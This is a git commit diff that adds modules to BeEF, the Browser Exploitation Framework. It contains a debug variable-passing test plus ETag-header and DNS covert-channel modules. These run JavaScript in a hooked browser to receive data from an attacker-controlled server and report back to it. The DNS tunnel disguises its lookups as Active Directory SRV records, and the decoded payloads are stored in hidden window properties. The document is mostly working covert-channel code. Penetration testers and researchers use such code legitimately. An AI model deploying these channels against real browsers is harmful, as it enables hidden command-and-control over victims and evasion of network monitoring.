Added DNS and ETag covert channels
This commit is contained in:
20
modules/debug/test_get_variable/command.js
Normal file
20
modules/debug/test_get_variable/command.js
Normal file
@@ -0,0 +1,20 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/*
|
||||
This JavaScript gets value of the specified variable that was set in another script via Window property.
|
||||
*/
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var payload = "<%= @payload_name %>";
|
||||
var curl = "<%= @command_url %>";
|
||||
var cid = "<%= @command_id %>";
|
||||
|
||||
console.log("The current value of " + payload + " is " + Window[payload]);
|
||||
beef.net.send(curl, parseInt(cid),'get_variable=true');
|
||||
|
||||
});
|
||||
15
modules/debug/test_get_variable/config.yaml
Normal file
15
modules/debug/test_get_variable/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
test_get_variable:
|
||||
enable: false
|
||||
category: "Debug"
|
||||
name: "Test JS variable passing"
|
||||
description: "Test for JS variable passing from another BeEF's script via Window object"
|
||||
authors: ["dnkolegov"]
|
||||
target:
|
||||
working: ["All"]
|
||||
12
modules/debug/test_get_variable/module.rb
Normal file
12
modules/debug/test_get_variable/module.rb
Normal file
@@ -0,0 +1,12 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Test_get_variable < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [{'name' => 'payload_name', 'ui_label'=>'Payload Name', 'type' => 'text', 'value' => 'message', 'width' => '400px'}]
|
||||
end
|
||||
|
||||
end
|
||||
86
modules/ipec/etag_client/command.js
Normal file
86
modules/ipec/etag_client/command.js
Normal file
@@ -0,0 +1,86 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
//
|
||||
|
||||
beef.execute(function(){
|
||||
var start_time = 0;
|
||||
var origin = '';
|
||||
var header = '';
|
||||
var message = '';
|
||||
var id = "<%= @command_id %>";
|
||||
var curl = "<%= @command_url %>";
|
||||
var payload_name = "<%= @payload_name %>";
|
||||
|
||||
function getHeader(url, mode)
|
||||
{
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', url, mode);
|
||||
xhr.send();
|
||||
if (xhr.status == 404){
|
||||
throw "message_end"
|
||||
}
|
||||
return xhr.getResponseHeader('ETag');
|
||||
}
|
||||
|
||||
function start( origin, id )
|
||||
{
|
||||
start_time = (new Date()).getTime();
|
||||
header = getHeader( origin + '/etag/' + id + '/start', false);
|
||||
}
|
||||
|
||||
function decode( bin_message )
|
||||
{
|
||||
arr = [];
|
||||
for( var i = 0; i < bin_message.length; i += 8 ) {
|
||||
arr.push(bin_message.substr(i, 8));
|
||||
}
|
||||
var message = "";
|
||||
for( i = 0; i < arr.length; i++ ){
|
||||
message += String.fromCharCode(parseInt(arr[i],2));
|
||||
}
|
||||
return message;
|
||||
}
|
||||
|
||||
function get_data( origin, id )
|
||||
{
|
||||
var interval = setInterval( function()
|
||||
{
|
||||
try{
|
||||
newHeader = getHeader( origin + '/etag/' + id, false);
|
||||
}
|
||||
catch(e){
|
||||
// The message is terminated so finish
|
||||
clearInterval(interval);
|
||||
final_message=decode( message );
|
||||
|
||||
delta = ((new Date()).getTime() - start_time)/1000;
|
||||
bits_per_second = "" + message.length/delta;
|
||||
|
||||
//Save the message in the Window
|
||||
if (window.hasOwnProperty(payload_name))
|
||||
window[payload_name] = final_message
|
||||
else
|
||||
Object.defineProperty(window,payload_name, { value: final_message,
|
||||
writable: true,
|
||||
enumerable: false });
|
||||
beef.net.send(curl, parseInt(id),'etag_tunnel=true' + '&bps=' + bits_per_second);
|
||||
return;
|
||||
}
|
||||
if (newHeader!==header){
|
||||
message = message + '1';
|
||||
header = newHeader;
|
||||
} else {
|
||||
message = message + '0';
|
||||
}
|
||||
}, 100, header, message);
|
||||
}
|
||||
function get_message( origin, id )
|
||||
{
|
||||
setTimeout( start( origin, id ), 500 );
|
||||
setTimeout( get_data( origin, id ), 500) ;
|
||||
}
|
||||
get_message( origin, id );
|
||||
});
|
||||
15
modules/ipec/etag_client/config.yaml
Normal file
15
modules/ipec/etag_client/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
etag_client:
|
||||
enable: true
|
||||
category: "IPEC"
|
||||
name: "ETag Tunnel: Server-to-Client"
|
||||
description: "This module sends data from server to client using ETag HTTP header.<br/><br/>A payload name and message are taken as input. The structure of ETag header isn't modified. The message is sent as a bitstream, decoded, and then can be accessed via Window object property specified in payload name parameter.<br/><br/> Note: To use this feature you should enable ETag extension."
|
||||
authors: ["dnkolegov,ovbroslavsky,neoleksov"]
|
||||
target:
|
||||
working: "All"
|
||||
39
modules/ipec/etag_client/module.rb
Normal file
39
modules/ipec/etag_client/module.rb
Normal file
@@ -0,0 +1,39 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Etag_client < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
return [
|
||||
{'name' => 'payload_name', 'ui_label'=>'Payload Name', 'type' => 'text', 'width' => '400px', 'value' => 'etagTunnelPayload'},
|
||||
{'name' => 'data', 'ui_label'=>'Message', 'type' => 'textarea',
|
||||
'value' => 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ' +
|
||||
'ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco ' +
|
||||
'laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in ' +
|
||||
'voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat '+
|
||||
'non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',
|
||||
'width' => '400px', 'height' => '100px'
|
||||
}]
|
||||
end
|
||||
|
||||
def pre_send
|
||||
# gets the value configured in the module configuration by the user
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
enable = @configuration.get("beef.extension.etag.enable");
|
||||
raise ArgumentError,'etag extension is disabled' if enable != true
|
||||
@datastore.each do |input|
|
||||
if input['name'] == "data"
|
||||
@data = input['value']
|
||||
end
|
||||
end
|
||||
BeEF::Extension::ETag::ETagMessages.instance.messages.store(@command_id.to_i, @data.unpack("B*")[0])
|
||||
end
|
||||
|
||||
def post_execute
|
||||
# gets the value of command_id from BeEF database and delete the message from Etag webserver "database"
|
||||
cid = @datastore['cid'].to_i
|
||||
BeEF::Extension::ETag::ETagMessages.instance.messages.delete(cid)
|
||||
end
|
||||
end
|
||||
123
modules/ipec/s2c_dns_tunnel/command.js
Normal file
123
modules/ipec/s2c_dns_tunnel/command.js
Normal file
@@ -0,0 +1,123 @@
|
||||
//
|
||||
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
/*
|
||||
This JavaScript retreives data from a server via DNS covert channel.
|
||||
|
||||
A remote controlled domain with a custom DNS server implementing covert channel logic is required.
|
||||
BeEF supports this feature via Server-to-Client DNS Tunnel extension.
|
||||
|
||||
The initial concept of the DNS covert channell and its implementation are described in the following literature:
|
||||
- K.Born. Browser-Based Covert Data Exfiltration. http://arxiv.org/ftp/arxiv/papers/1004/1004.4357.pdf
|
||||
- W. Alkorn,C. Frichot, M.Orru. The Browser Hacker's Handbook. ISBN-13: 978-1118662090, ISBN-10: 1118662091
|
||||
|
||||
*/
|
||||
beef.execute(function() {
|
||||
|
||||
var payload_name = "<%= @payload_name %>";
|
||||
var domain = "<%= @zone %>";
|
||||
var scheme = "<%= @scheme %>";
|
||||
var port = "<%= @port %>";
|
||||
var cid = "<%= @command_id %>";
|
||||
var curl = "<%= @command_url %>";
|
||||
|
||||
var messages = new Array();
|
||||
var bits = new Array();
|
||||
var bit_transfered = new Array();
|
||||
var timing = new Array();
|
||||
|
||||
// Do the DNS query by reqeusting an image
|
||||
send_query = function(fqdn, msg, byte, bit) {
|
||||
var img = new Image;
|
||||
var fport = "";
|
||||
|
||||
if (port !== "80") fport = ":"+port;
|
||||
|
||||
img.src = scheme+"://" + fqdn + fport + "/tiles/map";
|
||||
|
||||
img.onload = function() { // successful load so bit equals 1
|
||||
bits[msg][bit] = 1;
|
||||
bit_transfered[msg][byte]++;
|
||||
if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);
|
||||
}
|
||||
|
||||
img.onerror = function() { // unsuccessful load so bit equals 0
|
||||
bits[msg][bit] = 0;
|
||||
bit_transfered[msg][byte]++;
|
||||
if (bit_transfered[msg][byte] >= 8) reconstruct_byte(msg, byte);
|
||||
}
|
||||
};
|
||||
|
||||
// Construct DNS names based on Active Directory SRV resource records pattern and resolv them via send_query function
|
||||
// See http://technet.microsoft.com/en-us/library/cc961719.aspx
|
||||
function get_byte(msg, byte) {
|
||||
bit_transfered[msg][byte] = 0;
|
||||
var rnd8 = getRandomStr(8);
|
||||
var rnd12 = getRandomStr(12);
|
||||
// Request the byte one bit at a time
|
||||
for(var bit=byte*8; bit < (byte*8)+8; bit++){
|
||||
// Set the message number (hex)
|
||||
msg_str = ("" + msg.toString(16)).substr(-8);
|
||||
// Set the bit number (hex)
|
||||
bit_str = ("" + bit.toString(16)).substr(-8);
|
||||
// Build the subdomain
|
||||
subdomain = "_ldap._tcp." + rnd8 + "-" + msg_str + "-" + cid + "-" + bit_str + "-" + rnd12;
|
||||
// Build the full domain
|
||||
name = subdomain + '.domains._msdcs.'+ domain;
|
||||
send_query(name, msg, byte, bit)
|
||||
}
|
||||
}
|
||||
|
||||
// Construct random sring
|
||||
function getRandomStr(n){
|
||||
return Math.random().toString(36).slice(2, 2 + Math.max(1, Math.min(n, 12)));
|
||||
}
|
||||
|
||||
// Build the environment and request the message
|
||||
function get_message(msg) {
|
||||
// Set variables for getting a message
|
||||
messages[msg] = "";
|
||||
bits[msg] = new Array();
|
||||
bit_transfered[msg] = new Array();
|
||||
timing[msg] = (new Date()).getTime();
|
||||
get_byte(msg, 0);
|
||||
}
|
||||
|
||||
// Build the data returned from the binary results
|
||||
function reconstruct_byte(msg, byte){
|
||||
var char = 0;
|
||||
// Build the last byte requested
|
||||
for(var bit=byte*8; bit < (byte*8)+8; bit++){
|
||||
char <<= 1;
|
||||
char += bits[msg][bit] ;
|
||||
}
|
||||
|
||||
// Message is terminated with a null byte (all failed DNS requests)
|
||||
if (char != 0) {
|
||||
// The message isn't terminated so get the next byte
|
||||
messages[msg] += String.fromCharCode(char);
|
||||
get_byte(msg, byte+1);
|
||||
}
|
||||
else {
|
||||
// The message is terminated so finish
|
||||
delta = ((new Date()).getTime() - timing[msg])/1000;
|
||||
bytes_per_second = "" +
|
||||
((messages[msg].length + 1) * 8)/delta;
|
||||
|
||||
// Save the message in the Window
|
||||
if (window.hasOwnProperty(payload_name))
|
||||
window[payload_name] = messages[msg]
|
||||
else
|
||||
Object.defineProperty(window,payload_name, { value: messages[msg],
|
||||
writable: true,
|
||||
enumerable: false });
|
||||
|
||||
beef.net.send(curl, parseInt(cid),'s2c_dns_tunnel=true' + '&bps=' + bytes_per_second);
|
||||
|
||||
}
|
||||
}
|
||||
get_message(0);
|
||||
});
|
||||
15
modules/ipec/s2c_dns_tunnel/config.yaml
Normal file
15
modules/ipec/s2c_dns_tunnel/config.yaml
Normal file
@@ -0,0 +1,15 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
s2c_dns_tunnel:
|
||||
enable: true
|
||||
category: "IPEC"
|
||||
name: "DNS Tunnel: Server-to-Client"
|
||||
description: "This module retreives data sending by server over DNS covert channel (DNS tunnel).<br/><br/> A payload name and message are taken as input. The message is sent as a bitstream, decoded, and then can be accessed via Window object property specified in payload name parameter.<br/><br/>Note: To use this feature you should enable S2C DNS Tunnel extension."
|
||||
authors: ["dnkolegov"]
|
||||
target:
|
||||
working: "All"
|
||||
53
modules/ipec/s2c_dns_tunnel/module.rb
Normal file
53
modules/ipec/s2c_dns_tunnel/module.rb
Normal file
@@ -0,0 +1,53 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class S2c_dns_tunnel < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
zone = @configuration.get("beef.extension.s2c_dns_tunnel.zone");
|
||||
port = @configuration.get("beef.http.port");
|
||||
scheme = @configuration.get("beef.http.https.enable") == true ? "https" : "http"
|
||||
|
||||
return [
|
||||
{'name' => 'payload_name', 'ui_label'=>'Payload Name', 'type' => 'text', 'width' => '400px', 'value' => 'dnsTunnelPayload'},
|
||||
{'name' => 'zone', 'ui_label'=>'Zone', 'type' => 'hidden', 'width' => '400px', 'value' => zone},
|
||||
{'name' => 'port', 'ui_label'=>'Port', 'type' => 'hidden', 'width' => '400px', 'value' => port},
|
||||
{'name' => 'scheme', 'ui_label'=>'Scheme', 'type' => 'hidden', 'width' => '400px', 'value' => scheme},
|
||||
{'name' => 'data', 'ui_label'=>'Message', 'type' => 'textarea',
|
||||
'value' => 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ' +
|
||||
'ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco ' +
|
||||
'laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in ' +
|
||||
'voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat ' +
|
||||
'non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.',
|
||||
'width' => '400px', 'height' => '100px'}
|
||||
]
|
||||
end
|
||||
|
||||
def pre_send
|
||||
@configuration = BeEF::Core::Configuration.instance
|
||||
enable = @configuration.get("beef.extension.s2c_dns_tunnel.enable");
|
||||
raise ArgumentError,'s2c_dns_tunnel extension is disabled' if enable != true
|
||||
|
||||
# gets the value configured in the module configuration by the user
|
||||
@datastore.each do |input|
|
||||
if input['name'] == "data"
|
||||
@data = input['value']
|
||||
end
|
||||
end
|
||||
|
||||
BeEF::Extension::ServerClientDnsTunnel::Server.instance.messages.store(@command_id.to_i ,@data.unpack("B*")[0])
|
||||
end
|
||||
|
||||
def post_execute
|
||||
|
||||
# gets the value of command_id from BeEF database and delete the message from DNS "database"
|
||||
cid = @datastore['cid'].to_i
|
||||
BeEF::Extension::ServerClientDnsTunnel::Server.instance.messages.delete(cid)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user